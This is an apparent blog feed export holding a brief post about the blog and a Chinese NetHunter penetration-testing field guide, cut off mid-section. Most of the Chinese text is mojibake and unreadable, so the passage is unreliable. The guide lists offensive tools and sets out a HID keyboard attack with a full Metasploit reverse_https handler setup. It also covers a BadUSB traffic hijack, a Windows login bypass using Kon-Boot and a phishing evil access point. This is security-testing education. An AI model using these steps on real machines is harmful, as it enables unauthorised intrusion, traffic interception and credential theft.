Sword Soul
<p></p>
dropbox-273038690-le4f.farbox.com
2015-01-20T16:00:00Z
å
³äºå客é便åä¸ç¹ - Things About My Blog
2015-01-20T16:00:00Z
essay/things-about-blog
Sword Soul
<h4 id="toc_0">æ ·å¼</h4>
<p>èªä»11å¹´é产äºç¬¬ä¸ä¸ªç<code>å·å¤'s Blog</code>å,对å客è¿ç§èªå®¶ä¸äº©ä¸åå°å°±ä¸æçèèç.éç认ç¥,æ³æ³åå,åå®¢æ ·å¼ä¹åæ¥åå».忥zing带æçå°è¿ä¸ªå¢éçç®æ´å客:<a href="http://shell-storm.org/">http://shell-storm.org/</a></p>
<p>å°±å¨å»å¹´ä»¥æ¤æ ·å¼ä½ä¸ºèå¾,卿¯è¾å欢çFarBoxä¸å®æäºåä¸ä¸ªäºæ¬¡æ¨¡æ¿å¼åä¹ä½.</p>
<p>æ¯è¾ç¬¦åèªå·±çéæ±ä¸å®¡ç¾:)</p>
<h4 id="toc_1">åå</h4>
<p>è¿å»å客以èªå·±æ¯æID(å·å¤)为å,å»å¹´éæ°æ´çäºå客,æåæ³ååä½Sword Soul,æä¸º<code>åé(ç´å¿)</code>.å
ä¸äºä¸äºçå³é,ä¸è¿æ¯ææ¥æºçlol~</p>
<p><img src="/img/swordsoul.png" alt="img"></p>
<p>å
·ä½å«ä¹,ç»å¿éçä¸ªçæ¡å°±å¥½äº.</p>
<h4 id="toc_2">æç« </h4>
<p>æäºæ¨¡æ¿æ ·å¼,ä¸å¹´çæ¶é´ä¹å
åæè¿å»çæç« è¡¥äºä¸æ¥,ç®ä½ä¸ç§ç§¯ç´¯.ä»åææ°çç ç©¶å享ä¹ä¼ç»§ç»æ´æ°.</p>
<p>å³ä¸è§çKnownWiki龿¥åè®°å½ä¸å¹³æ¶ä¸äºå°Trick.å¯è½æ´æ°å¹¶ä¸åæ¶.</p>
<h4 id="toc_3">读è
</h4>
<p>æææç« è½å¯¹è¯»è
ææå¸®å©,æå
³æ³¨ç读è
å¯éè¿<a href="http://le4f.net/feed">RSS</a>订é
å
容.</p>
<h4 id="toc_4">æªæ¥</h4>
<p>æªæ¥åççè¿ç¯æç« ä¿®æ£å§;)</p>
Pocket Hacking: NetHunter宿æå - NetHunter Field Guide
2015-01-19T16:00:00Z
post/pocket-hacking-nethunter-field-guide
Sword Soul
<p>æç« å·²å表è³<a href="http://drops.wooyun.org/tips/4634">ä¹äºDrops</a>,ä½è
@å·æ¯zing & @顺æ¯le4f,æªææè¯·å¿è½¬è½½</p>
<h4 id="toc_0">0x00 åè¨</h4>
<p>è®¸å¤æåé½å¸æHackingå¥ä»¶å¯ä»¥å¾æ¹ä¾¿çä»PCç§»æ¤å°æ´ä¾¿æºçææºæå¹³æ¿çµèä¸,èOffensive Securityå¢éåå¸çKali NetHunteråå°è¿ä¸æå¾
å为ç°å®,éè¿ç§»å¨ç»ç«¯éæ¶éå°è¿è¡Hacking,æä¸ç¾å
¶åæ°å£è¢Hacking.</p>
<p>Kali NetHunteræ¯ä»¥Nexus(ææº/å¹³æ¿)ä¸ºåºæ¬ç¡¬ä»¶è®¾å¤(æ°å¢å¯¹1+ææºçæ¯æ),åºäºåçAndroidå®ç°çä¾¿æºæ¸éæµè¯å¹³å°.çæçKali使å
¶æäºä¸æ,èå¾å½¢åæ§å¶çé¢å使æäºæµè¯æ´æ.åºäºæ¤å¹³å°,å·¥ç¨å¸ä»¬ä¹å¯èªç±åæ¥,å å
¥ä¸ªäººé¡¹ç®.</p>
<p>å
³äºNetHunterå½å
å¤æç« ç¸å¯¹è¾å°ä¸éå¤åº¦é«,æ
卿¤å°å
¶ä¸»è¦å®ææå·§å 以æ´çä»ç»,以å¤åä½ç±å¥½è
åè.ç±äºèµæä¸è¶³,é¾å
åºéä¹å¤,å¦æçæ¼é误,æä¸åèµæ.</p>
<h4 id="toc_1">0x01 ç¡¬ä»¶æ¯æ</h4>
<p>NetHunterå®ç½ç»åºä»¥ä¸æ¯æå·å
¥NetHunterçææº:</p>
<pre><code>Nexus 4 (GSM) - âmakoâ
Nexus 5 (GSM/LTE) - âhammerheadâ
Nexus 7 [2012] (Wi-Fi) - ânakasiâ
Nexus 7 [2012] (Mobile) - ânakasigâ
Nexus 7 [2013] (Wi-Fi) - ârazorâ
Nexus 7 [2013] (Mobile) - ârazorgâ
Nexus 10 (Tablet) - âmantarayâ
OnePlus One 16 GB - âbaconâ
OnePlus One 64 GB - âbaconâ</code></pre>
<p>å¼å¾ä¸æçæ¯,2015å¹´NetHunteræ´æ°,ç±äº1+ææºçå»ä»·ä¸é«æ§è½,å
¶è¢«å å
¥æ¯æå表.ç¨1+ææºçæåæç¦äº,以ä¸å·æºä»¥Nexus5为ä¾.</p>
<h4 id="toc_2">0x02 å·æºæµç¨</h4>
<p>å®ç½ç»åºå ç§å·æºæ¹å¼,æ¨è使ç¨Windowså¼å¯¼å·æºç¨åºå®è£
.ä¸è½½å°å:</p>
<p><a href="https://www.kali.org/offsec-nethunter-installer/Kali_v1.1.6.sfx.exe">https://www.kali.org/offsec-nethunter-installer/Kali_v1.1.6.sfx.exe</a></p>
<p>æå¼å®è£
å¼å¯¼ç¨åº,é»è®¤è·¯å¾å®è£
</p>
<p><img src="/img/nethunter-01.png" alt="img"></p>
<p>å®è£
åèªå¨è¿è¡NetHunter Installerå¹¶æ´æ°,è¿å
¥å¼å¯¼å®è£
æ¥éª¤</p>
<ul>
<li> Step1,鿩已æç¡¬ä»¶è®¾å¤åå·.</li>
</ul>
<p><img src="/img/nethunter-02.png" alt="img"></p>
<ul>
<li> Step2,å®è£
驱å¨</li>
</ul>
<p><img src="/img/nethunter-03.png" alt="img"></p>
<p><img src="/img/nethunter-04.png" alt="img"></p>
<p>å¯ä»¥éè¿Test Driversæµè¯æ¯å¦å®è£
æå</p>
<ul>
<li> Step3,å®è£
é项</li>
</ul>
<p><img src="/img/nethunter-05.png" alt="img"></p>
<p>å¦å·²ç»éè¿å®ç½ä¸è½½è¿å·æºå
,éè¿Browseréæ©æä»¶.ä¸è½½é¾æ¥<br /><a href="http://www.offensive-security.com/kali-linux-nethunter-download/">http://www.offensive-security.com/kali-linux-nethunter-download/</a><br />ä¸è½½åè®°å¾æ ¡éªSHA1å¼.è³äºAndroid Flash Setting,å 为对Android Lçæ¯æè¿æªå®æ,æ
å°æªå¼æ¾éæ©.</p>
<ul>
<li> Step4,ä¸è½½æä»¶</li>
</ul>
<p><img src="/img/nethunter-06.png" alt="img"></p>
<p>å¦å¾ç¤º,ä¸è½½ææä¾èµæä»¶.</p>
<p><img src="/img/nethunter-07.png" alt="img"></p>
<p>ææä¾èµå
é½ä¸ºReadyå¯è¿å
¥ä¸ä¸æ¥å·æº.</p>
<ul>
<li> Step5,è§£é设å¤</li>
</ul>
<p><img src="/img/nethunter-08.png" alt="img"></p>
<p>è§£ébootloader,注æé设置å
许USBè°è¯,ææºä¼éå¯è§£é.</p>
<ul>
<li> Step6,éç½®åAndroid</li>
</ul>
<p><img src="/img/nethunter-09.png" alt="img"></p>
<p>åæ ·åææºä¸å¾éå
许USBè°è¯,æ³¨ææ°æ®ä¼æ¸
空,è®°å¾å¤ä»½.</p>
<p><img src="/img/nethunter-10.png" alt="img"></p>
<ul>
<li> Step7,å·å
¥NetHunter</li>
</ul>
<p><img src="/img/nethunter-11.png" alt="img"></p>
<p>ç»è¿ä¸ä¸æ¥éç½®ææºå,ééæ°å¼å¯å¼åè
模å¼,æ¤æ¶å¯å·å
¥Kali Linuxéåå¹¶å¯¹ææºè¿è¡Root,æéæ¶é´ç¸å¯¹è¾é¿.(注:å¦é忍é䏿å,å¯ä»¥æå·¥å°kali_linux_nethunter_1.10_hammerhead_kitkat.zipå¤å¶å°/sdcard/download/ç®å½è¿è¡INSTALL)</p>
<ul>
<li> Final,å®è£
æå</li>
</ul>
<p><img src="/img/nethunter-12.png" alt="img"></p>
<p><img src="/img/nethunter-13.png" alt="img"></p>
<h4 id="toc_3">0x03 æ¨èAPPä¸è§</h4>
<p>å®æç³»ç»å·å
¥å,è¦ä¸°å¯NetHunteråè£
å·¥å
·,å¯ä»¥ä¸è½½é¨åå®åAPP以é
å.以ä¸ä¸ºä¸ªäººæ¨è</p>
<ul>
<li><p>䏿è¾å
¥æ³:ä½ä¸ºä¸ä¸ªæ±è¯çè¿æ¯å¿
å¤ç</p></li>
<li><p>æä»¶ç®¡çå¨(å¦RootExplorer):Kaliæäºæä»¶éè¦éè¿æ¯æRootæéçæä»¶ç®¡çå¨.</p></li>
<li><p>ShadowSocks:梯åè¿æ¯è¦æç</p>
<p><a href="https://github.com/shadowsocks/shadowsocks-android/releases/download/v2.6.2/shadowsocks-nightly-2.6.2.apk">https://github.com/shadowsocks/shadowsocks-android/releases/download/v2.6.2/shadowsocks-nightly-2.6.2.apk</a></p></li>
<li><p>MiTMå·¥å
·:</p>
<pre><code>zANTI2:è½ä¸ºåä¸åéå¶é¨ååè½,ä½ä½¿ç¨ä½éªç确好äº.
dSploit:æ¾ç»å¾åºå
lanmitm:å½å
å®å
¨å·¥ä½è
ç¼ååå¸çå·¥å
·
Intercepter-NG:å
æ¢å·¥å
·
Network Spoofer:èªå¸¦è®¸å¤è°æåè½</code></pre></li>
<li><p>IPTools:é¨å常è§åºæ¬ç½ç»å·¥å
·éå</p>
<p><img src="/img/nethunter-14.png" alt="img"></p></li>
<li><p>ChangeHostname:ä¿®æ¹å½åææºä¸»æºåHostName(è¿æ¯æå¿
è¦ç).</p></li>
<li><p>WiGLE wifi:War Drivingå·¥å
·,æ¶éæ 线çç¹ä¿¡æ¯,å¯ä¿åå°æ¬å°æ°æ®åº.</p></li>
<li><p>SQLiteEditor:æ¹ä¾¿è¯»åæ°æ®åºä¿¡æ¯</p></li>
<li><p>Hacker's KeyBoard:NetHunterèªå¸¦,便äºè¾å
¥åç§æ§å¶å符</p></li>
<li><p>è¿ç¨æ¡é¢:NetHunterèªå¸¦,便äºè¿æ¥VNCæå¡.</p></li>
<li><p>DriveDroid:NetHunterèªå¸¦,å°ææºå
é忍¡æä¸ºå¯å¨ç.</p></li>
</ul>
<h4 id="toc_4">0x04 ç®å½ä¸æå¡</h4>
<p>å®è£
好NetHunter,å
è¦å¯¹å
¶ç®å½ä¸æå¡ç ç©¶ä¸çª.Kali NetHunteræ ¹ç®å½å¯¹åºå®åç³»ç»ç®å½ç/data/local/kali-armhfç®å½</p>
<p><img src="/img/nethunter-15.png" alt="img"></p>
<p>NetHunterèªå¸¦å·¥å
·,ä¹å¤å¨æ¤ç®å½å
.æ
妿æå
/æ¥å¿çæä»¶,æ¾ä¸å°åæ¾å°å,ä¸å¦¨å°æ¤ç®å½ä¸å¯»è§
ä¸çª(注:éRootæé).å¦å¤,NetHunteræäºå·¥å
·è¿è¡æ¶çæç¤ºçç®å½,ä¹å¤ä»¥æ¤å¤ä¸ºæ ¹ç®å½.</p>
<p>é常,æªè·çæ°æ®å
çæä»¶åæ¾å¨NetHunterç®å½ä¸çCapturesç®å½:</p>
<p><img src="/img/nethunter-16.png" alt="img"></p>
<p>ä¸Kali Linux类似,/usr/shareä¸åæ¾äºå¤§é¨åå·¥å
·,并建ç«link,å½ä»¤è¡å¯ç´æ¥è°ç¨.</p>
<p><img src="/img/nethunter-17.png" alt="img"></p>
<p>èMetasploitåä¾ç¶ä½äº/opt/ç®å½ä¸.</p>
<p><img src="/img/nethunter-18.png" alt="img"></p>
<p>ä¸å¾ä¸/opt/dicç®å½ååæ¾æåå
¸æä»¶,å¯èªè¡è¡¥å
.</p>
<p><img src="/img/nethunter-19.png" alt="img"></p>
<p>æ¤ä¸º/var/wwwç®å½,æ³æ¥å¤§å®¶ä¹ç¥éæ¯ä½ç¨å¤äº:)</p>
<p>è³äºæå¡,Offensive Securityå¢é卿°çä¸å å
¥NetHunter Home以APPçå½¢å¼ç®¡çæå¡å¼å
³,é¿å
äºä¹åçæ¬éè¿WebServer管ççå¼ç«¯(æ¯å¦Web页é¢è°ç¨Google Fonts被å¢å¡å天 ;)</p>
<p><img src="/img/nethunter-20.png" alt="img"></p>
<p>å¦å¾ç¤º,NetHunter Home为主页é¢,é¤äºOffensive SecurityçBanner,è¿å¯ä»¥è·åå½åIP(å
ç½/å¤ç½)å°å.</p>
<p><img src="/img/nethunter-21.png" alt="img"></p>
<p>Kali Launcheræ´åäºå个å¯å¨å¨:</p>
<ul>
<li> ç»ç«¯æå¼ä¸ä¸ªKali Shell</li>
<li> ç»ç«¯æå¼Kali NetHunter Menu</li>
<li> ç»ç«¯æå¼Wifiteè¿å
¥æ çº¿ç ´è§£</li>
<li> æ´æ°Kali NetHunter(æ§è¡sudo -c bootkali update)</li>
</ul>
<p>对äºNetHunteræå¡å¼å
³æ§å¶,åå¨Kali Service Control颿¿éè¿è¡è®¾ç½®</p>
<p><img src="/img/nethunter-22.png" alt="img"></p>
<p>å¯çå°,NetHunterå¯å¼æ¾æå¡æSSH,Dnsmasq,Hostapd,OpenVPN,Apache,MetasploitåBeEF FrameWorkç.</p>
<ul>
<li> SSHæå¡:Secure Shell,æ¹ä¾¿å
¶ä»è®¾å¤è¿æ¥æ§å¶.</li>
<li><p>Dnsmasqæå¡:DNSè§£ææå¡.</p></li>
<li><p>Hostapdæå¡:æä¾æ 线æ¥å
¥ç¹æå¡.</p></li>
<li><p>OpenVPNæå¡:弿¾OpenVPNè¿å
¥æå¡.</p></li>
<li><p>Apacheæå¡:WEBæå¡.</p></li>
<li><p>Metasploitæå¡:为MSFæ»å»æ¨¡åæä¾ä¿é.</p></li>
<li><p>BeEF FrameWorkæå¡:XSSå©ç¨æ¡æ¶æå¡.</p></li>
</ul>
<p>卿¤é¢æ¿å¯å¯¹å¯¹åºæå¡è¿è¡å¼å
³è®¾ç½®.</p>
<h4 id="toc_5">0x05 Kali NetHunter Menu</h4>
<p>å¨NetHunter Launcherä¸Kali Menuçå¯å¨é¡¹,å
¶å
嫿´çæNetHunter常ç¨å·¥å
·,å¦å¾:</p>
<p><img src="/img/nethunter-25.png" alt="img"></p>
<p>ä¸ä¸ä¸ä¸ªçæ¬ç¸æ¯ï¼æ°å¢äºä»¥ä¸é项:</p>
<pre><code>USB Attacks
NFC Attacks
Monitor Mode
Eject USB Wifi</code></pre>
<p>ä¸»è¦æ¨¡ååä»ç»å¦ä¸:</p>
<p><strong>Wireless Attacks</strong></p>
<ul>
<li><p>Wifite</p>
<p>èªå¨æ 线å®å
¨å®¡è®¡å·¥å
·</p></li>
<li><p>Kismet</p>
<p>æ 线WarDrivingå·¥å
·</p></li>
<li><p>AP F**ker</p>
<p>æ çº¿ç½æ¶ææ»å»å·¥å
·(å¤ä¸ºæç»æå¡)</p></li>
<li><p>Wash</p>
<p>æ«æå¼å¯WPSçæ çº¿ç½ç»</p></li>
<li><p>Airodump-ng</p>
<p>åºæ¬æ 线æ»å»å¥ä»¶(å¿
å¤)</p></li>
<li><p>Pingen</p>
<p>é对æäºå¼å¯WPSçD-linkçè·¯ç±å¨è®¡ç®å
¶PINç ä»¥ç ´è§£</p></li>
</ul>
<p><strong>Sniffing/Spoofing</strong></p>
<ul>
<li><p>tcpdump</p>
<p>åºæ¬æµéDumpå·¥å
·</p></li>
<li><p>tshark</p>
<p>WireSharkçCliå·¥å
·,坿ååææµé</p></li>
<li><p>urlsnarf</p>
<p>Dsniffå·¥å
·å
ä¸é¨å,å¯å
æ¢HTTP请æ±å
å
容ï¼å¹¶ä»¥CLFéç¨æ¥å¿æ ¼å¼è¾åº</p></li>
<li><p>dsniff</p>
<p>强大çç¥åå£ä»¤å
æ¢å·¥å
·å
</p></li>
<li><p>MITMproxy</p>
<p>ä¸é´ä»£ç,坿ªè·ä¿®æ¹HTTPæµé,åèå®ç½ä»ç»</p></li>
</ul>
<p><strong>Reverse Shells</strong></p>
<ul>
<li><p>AutoSSH</p>
<p>éè¿SSHåå¼¹shell(NAT Bypass)</p></li>
<li><p>pTunnel</p>
<p>éè¿ICMPæ°æ®å
é§éä¼ éæ°æ®</p></li>
</ul>
<p><strong>Info Gathering</strong></p>
<ul>
<li><p>Spiderfoot</p>
<p>弿ºæ«æä¸ä¿¡æ¯æ¶éå·¥å
·,对ç»å®ååæ¶éåå,Emailå°å,webæå¡å¨çæ¬çä¿¡æ¯,èªå¨åæ«æ.</p></li>
<li><p>Recon-ng</p>
<p>强大çä¿¡æ¯æ¶éå·¥å
·,模åå,å¯æè®¸å¤æä»¶å½å
ä¸éç¨(æå¢).</p></li>
<li><p>Device-pharmer</p>
<p>éè¿Shodanæç´¢,å¤§æ°æ®Hacking.</p></li>
</ul>
<p><strong>Vulnerability Scan</strong></p>
<ul>
<li><p>OpenVas</p>
<p>æ¼æ´æ«æå¨,éé¢å¤å®è£
.Kaliä¸ç´é»è®¤å
å«,好ä¸å¥½ç¨å®¢å®èªè¡å®å¤º. :)</p></li>
</ul>
<p><strong>Exploit Tools</strong></p>
<ul>
<li><p>Metasploit</p>
<p>强大,æ ¸å¿,å¿
å¤</p></li>
<li><p>BeEF-XSS</p>
<p>XSSæ¸éæµè¯å·¥å
·,çä¸ªäººä¹ æ¯ä½¿ç¨</p></li>
<li><p>Social-Engineering-Toolkit</p>
<p>Kaliä¸çSET,社ä¼å·¥ç¨å¦å¥ä»¶,åè½å¼ºå¤§.</p></li>
<li><p>MITMf</p>
<p>ä¸é´äººæ»å»æ¡æ¶,åºäºPython,æ¥æå¤ä¸ªæä»¶,æ¸éæµè¯åè½å¼ºå¤§</p></li>
</ul>
<p><strong>OpenVPN Setup</strong></p>
<p>OpenVPN设置</p>
<p><strong>VNC Setup</strong></p>
<p>VNC设置</p>
<p><strong>Log/Capture Menu</strong></p>
<p>坿¦é¤æ¬å°æææåæ°æ®æåæ¥å°SDå¡ä¸(åæ¥ä¸»è¦æ¯è§£å³æéé®é¢.æ¯å¦å¤æ°å®åAPPæªè·å¾rootæéæ¯æ æ³è¯»åNetHunterå·¥å
·æªè·çæ°æ®å
容)</p>
<p><strong>USB Attacks</strong></p>
<ul>
<li><p>Dictionary based brute force attack</p>
<p>èªå¨è¾å
¥åå
¸ä¸è¡å
容并å车,åºäºHID,模ææä½æ¹å¼çæ´åç ´è§£</p></li>
<li><p>deADBolt</p>
<p>æ§è¡ä¸å ADBå½ä»¤å¯ä»¥æ¨ééç§æä»¶çä¿¡æ¯å°æå®ç®å½,åè项ç®ä¸»é¡µ<br />https://github.com/photonicgeek/deADBolt</p></li>
</ul>
<p><strong>NFC Attack</strong></p>
<p>æä¾äºå¤å¶ãéåãæ¥çM塿°æ®åè½(æ¯ä¸æ¯ä¸å¿
带ä¸Acr122uäº;)</p>
<p><strong>Settings</strong></p>
<ul>
<li><p>ä¿®æ¹æ¶åº</p></li>
<li><p>为Metasploitåå»ºç¨æ·åæ°æ®åº</p></li>
<li><p>ä¿®æ¹MACå°å</p></li>
<li><p>å®è£
NodeJS</p></li>
</ul>
<p><strong>Service</strong></p>
<ul>
<li><p>SSHæå¡å¼å
³</p></li>
<li><p>VNCæå¡å¼å
³</p></li>
<li><p>OpenVPNæå¡å¼å
³</p></li>
<li><p>卿¬å°å¯å¨Xserver</p></li>
</ul>
<p><strong>Monitor Mode</strong></p>
<p>å¯å¨æå
³éwlan1(å¤ç½®æ 线ç½å¡)çæ··æç嬿¨¡å¼</p>
<p><strong>Eject USB Wifi</strong></p>
<p>å¼¹åºUSBæ 线ç½å¡</p>
<h4 id="toc_6">0x06 HID KeyBoard Attack</h4>
<p>å¨è¿å»,USBèªå¯å¾å¾ä¾èµæå
¥çUSB设å¤ä¸çautorun.infå®ç°.æ¶ä¸è¿æå¾å¾ä¸çµ,èæ°å
´çUSB HID Attackåæä¸ºæ°çå®å
¨å¨è.USB HIDå¯éè¿æ¨¡æé®çæé¼ æ æä½,宿¶æ§è¡ç®æ 代ç ,卿¤ä»¥PowerSploitç»åMSF为ä¾:</p>
<p>é¦å
è¿è¡æä¾payloadçwebserver,å¨Kali Service Controlä¸å¼å¯Apacheæå¡å¨</p>
<p><img src="/img/nethunter-30.png" alt="img"></p>
<p>转å°HIDæ»å»é
置页é¢,éæ©PowerSploit</p>
<p><img src="/img/nethunter-31.png" alt="img"></p>
<p>IPå端å£å¡«åMSFçå¬çIP端å£,Payloadæä»¬éæ©windows/meterpreter/reverse_https,URL为æä¾Apacheæå¡çIP,è¿é峿¬æº:192.168.1.151</p>
<p>é
置好åUPDATEé
ç½®æä»¶,æ¥ä¸æ¥éé
ç½®MSFçå¬åå¼¹shell</p>
<pre><code>root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) ></code></pre>
<p>payloadåHIDé
置页é¢ä¸çpayload</p>
<pre><code>msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https</code></pre>
<p>IPå端å£åæ ·è®¾ç½®</p>
<pre><code>msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...</code></pre>
<p>è³æ¤é
ç½®OK</p>
<p><img src="/img/nethunter-32.png" alt="img"></p>
<p>å¼å§çå¬</p>
<p><img src="/img/nethunter-33.png" alt="img"></p>
<p>æ¤æ¶å°è®¾å¤è¿æ¥è³PCæº,çå¾
设å¤è¢«è¯å«å,æ§è¡Execute,æ»å»å¼å§.</p>
<p>POWERSHELLå½ä»¤æ§è¡å,å°±å¯å¨msfä¸çå°åå¼¹çshelläº:</p>
<p><img src="/img/nethunter-34.png" alt="img"></p>
<p>å¦è¿ä¸PCåæ²¡æååº,坿Reset USB鮿´æ°.</p>
<p>å½ç¶,HID KeyBoard Attack乿ä¾äºWindows CMDæ»å»æ¨¡å,å³è¿å
¥è®¡ç®æºåèªå¨æå¼CMDå¹¶æ§è¡æå®å½ä»¤(é»è®¤ä¸ºæ·»å æ°ç®¡çåç¨æ·,å¯èªç±å®å¶).</p>
<h4 id="toc_7">0x07 BadUSB MITM Attack</h4>
<p>BadUSB Attackæ¯BlackHat大ä¼ä¸å
¬å¸çä¸ç§è¾å
è¿çUSBæ»å»æ¹å¼,模æé®çæä½çPayloadå¯èªå¨æ§è¡æäºæä½,èNetHunterçBadUSB MiTM Attack忝å
¶ä¸ä¸ç§ç©æ³:ä¿®æ¹ç½ç»è®¾å®,嫿ç½ç»æµé.</p>
<p>å
³äºBadUSB MITM Attack,NetHunterå®ç½ææ¼ç¤ºè§é¢,详è§<a href="http://www.nethunter.com/showcase/">http://www.nethunter.com/showcase/</a>,ä½å¹¶æªäº¤ä»£è¯¦ç»è¿ç¨,以ä¸ç¬è
æä½ä¸ºä¾:</p>
<p>é¦å
,ç¡®ä¿ææºè¿æ¥ç®æ è®¡ç®æºæ¶,MTPæä»¶ä¼ è¾æ¯å
³éç.è¿æ¥ç®æ è®¡ç®æº,æå¼ææºUSBç½ç»å
񄧮:</p>
<p><img src="/img/nethunter-40.png" alt="img"></p>
<p>æ¤æ¶å¨NetHunter Homeæå¼ä¸ä¸ªKali Shell,æ¥çç½å¡å¤åºèæç½å¡rndis0(USBç½ç»å
±äº«ç½å¡).</p>
<p><img src="/img/nethunter-41.png" alt="img"></p>
<p>æ¤æ¶å¯ä»¥å¼å¯Tcpdumpæªè·æµé,å½ä»¤å¦:</p>
<pre><code>tcpdump -i rndis0</code></pre>
<p>åå°NetHunter Home,忢å°BadUSB MiTM Attack,å¾éå³ä¸è§é项Start BadUSB Attack</p>
<p><img src="/img/nethunter-42.png" alt="img"></p>
<p>è¢«è¿æ¥çè®¡ç®æºæ¤æ¶ä¼å¤åºä¸ä¸ªç½å¡,ç½å
³ä¸ºrndis0çIPå°å</p>
<p><img src="/img/nethunter-43.png" alt="img"></p>
<p>æ¤æ¶æµéå·²å¯ä»¥æªè·,ä¾å¦è®¿é®æäºç½ç«,ææºtcpdump夿µéæ¾ç¤ºå¦å¾:</p>
<p><img src="/img/nethunter-44.png" alt="img"></p>
<p>å ä¸ºææºå¹¶æªæå
¥SIMå¡,æ ç½ç»,æ
PCæºå¹¶æ æ³å¾å°è¿å页é¢.</p>
<p>ä¹åæåå¦å¨Dropså享çä¸çæç« <a href="http://drops.wooyun.org/tools/3113">Kali Nethunteråä½éª</a>䏿å°:</p>
<blockquote>
<p>åºç°åç½å
³ç°å¨æä»¥å¹¶æªåå®ç½æ¼ç¤ºç飿 ·æµéç´æ¥èµ°åæ¶æç½å
³ï¼10.0.0.1ï¼èæ¯ä¾æ§èµ°çä¹åçç½å
³ï¼192.168.1.1ï¼æ
å«æå¤±è´¥</p>
</blockquote>
<p>è¿ç§æ
åµä¹å¯è½åºç°,ä¸è¿ä¸ªäººæµè¯ä¸,ç½ç»è¿æ¥ä¼å
级,é»è®¤å«æåçç½å
³ä¼å
级æ´é«,æ
æµéå¯ä»¥æ£å¸¸å«æ.ä¹å¯è½æ¯NetHunterä»å¹´æ´æ°ååçä¼å,å¦å¾ç¤º:</p>
<p><img src="/img/nethunter-45.png" alt="img"></p>
<p>å½ç¶,é
åHID Keyboard Attackè¿è¡æ»å»æµè¯ä¹æ¯å¾å¥½çæ¹å¼,è³äºæ°æ®å
çä¿åä¸åæ,åå¯èªè¡åæ¥.</p>
<h4 id="toc_8">0x08 ç»è¿Windowsç»å½è®¤è¯</h4>
<p>NetHunterå
¶å®æè®¸å¤éèç©æ³,æ¯å¦åå©DriveDroidå®ç°Windowsç»éç»è¿å¯ç .</p>
<p>DriveDroidæ¬æ¯ä¸ªå
许éè¿å®åææºä¸çISO/IMGéåæä»¶å¼å¯¼å¯å¨PCæºçä¸ä¸ªApp,ä½ç»åäºç¹å®çéå,å®ç°ç»è¿Windowsç»é认è¯å°±åå¾å¯è¡:)</p>
<p>卿¤ä»¥Win7为ä¾,é¦å
为é»è®¤è´¦æ·å建å¯ç hello.</p>
<p><img src="/img/nethunter-50.png" alt="img"></p>
<p>DriveDroidé»è®¤å¼å¯¼éååæ¾ç®å½ä½äºSDCard/Download/images,åªéå°æ¬²å¼å¯¼çéååæ¾äºæ¤ç®å½å³å¯.</p>
<p><img src="/img/nethunter-51.png" alt="img"></p>
<p>è¿éç»è¿WindowsæOSXç»é认è¯çéå为Kon-Boot.å¯ä»¥å°å®ç½äºè§£,å
¶åçå¨äºå¤çBIOSä¿®æ¹ç³»ç»å
æ ¸çå¼å¯¼å¤ç,è·³è¿SAMæ£æ¥,ç´æ¥ç»éç³»ç».å 为æ¯ä»è´¹è½¯ä»¶,以ä¸ä»¥èªè¡å¯»è§
çéåä¸ºä¾æ¼ç¤º.</p>
<p>å
³éMTPæä»¶ä¼ è¾,æå¼DriveDroid,èªå¨ååºimagesç®å½ä¸å¾éåæä»¶.</p>
<p><img src="/img/nethunter-52.png" alt="img"></p>
<p>éæ©Kon-Boot.imgéåæè½½,模å¼è¿ééæ©ä¸ºRead-Only USB</p>
<p><img src="/img/nethunter-53.png" alt="img"></p>
<p>å è½½æååç¸åºéåæææ å¿</p>
<p><img src="/img/nethunter-54.png" alt="img"></p>
<p>èå¨è¿å
¥çPCæºä¸ä¹ä¼æ¾ç¤ºå è½½ææ°çå¯ç§»å¨ç£ç(æè½¯é©±ç),妿ªè½æ¾ç¤º,å¯å¨é
置页é¢è¿è¡ç¸åºè°æ´(å¯éè¿USB Setup Wizardå导æå¼)</p>
<p><img src="/img/nethunter-55.png" alt="img"></p>
<p>æ¤æ¶å¨è®¾æå¯ç çPCæºéå¯,è¿å
¥BIOS设置å¯å¨é¡¹</p>
<p><img src="/img/nethunter-56.jpg" alt="img"></p>
<p>妿éåå è½½æå,å¯ä»¥çå°é£å¥ç徿¡å¦ä¸:</p>
<p><img src="/img/nethunter-57.jpg" alt="img"></p>
<p>ä¹åç»éç¨æ·å¯ç å¤å车å³å¯ç»è¿å¯ç 认è¯ç»éç³»ç»</p>
<p><img src="/img/nethunter-58.jpg" alt="img"></p>
<p>éè¦è¯´æçæ¯,éè¿æ¤æ¹å¼ç»éç³»ç»æ æ³ç´æ¥ä¿®æ¹æå é¤ç³»ç»å¯ç .</p>
<h4 id="toc_9">0x09 WarDriving</h4>
<p>ç¹è®°å¾å½å¹´åè¾ä»¬è©æç¬è®°æ¬åWarDrivingçäºè¿¹,æºè½è®¾å¤åå±è³ä»,WarDrivingå·²å¯ç¨ä¾¿æºè®¾å¤å代.åªæ¯è³ä»è¿è¿æ²¡æå¯»è§
å°æ¯è¾åéç´è§çWarDrivingå·¥å
·,æå¾
ææåè½å¼åææ¨è个.</p>
<p>å¨NetHunterä¸,Kali-MenuçWireless模åä¸Kismetä½ä¸ºWarDrivingçé»è®¤å·¥å
·,ä¸è¿æä½èµ·æ¥ç»é¢å¤ªç¾ä¸æ¢ç:</p>
<p><img src="/img/nethunter-60.png" alt="img"></p>
<p>éèæ±å
¶æ¬¡,æ¨è使ç¨App WigleWifi.ä¸è¿æ³¨æä¸è¦ä¸å°å¿ä¸ä¼ æ°æ®.使ç¨easy,çé¢å¾é¾ç.</p>
<p><img src="/img/nethunter-61.png" alt="img"></p>
<p>好卿°æ®å¯ä»¥ä»¥Sqliteæ°æ®åºæ ¼å¼åå¨å¨æ¬å°.</p>
<h4 id="toc_10">0x0A Mana EvilAPèç½</h4>
<p>æ³å»ºä¸ªCMCCæ 线ç½ç»é鱼嫿æµé?PineApple没æå¸¦å¨èº«è¾¹,ä¸å¦¨æ¿åºææº,å¼ä¸ªèç½å§. :)</p>
<p>Manaèç½éç¨ä¸PineAppleç¸åç:HostapdçKarmaè¡¥ä¸,å¯ç¨æ¥æ¬ºéªæ¥å
¥æ 线ç½ç»ç¨æ·ï¼ä½¿å
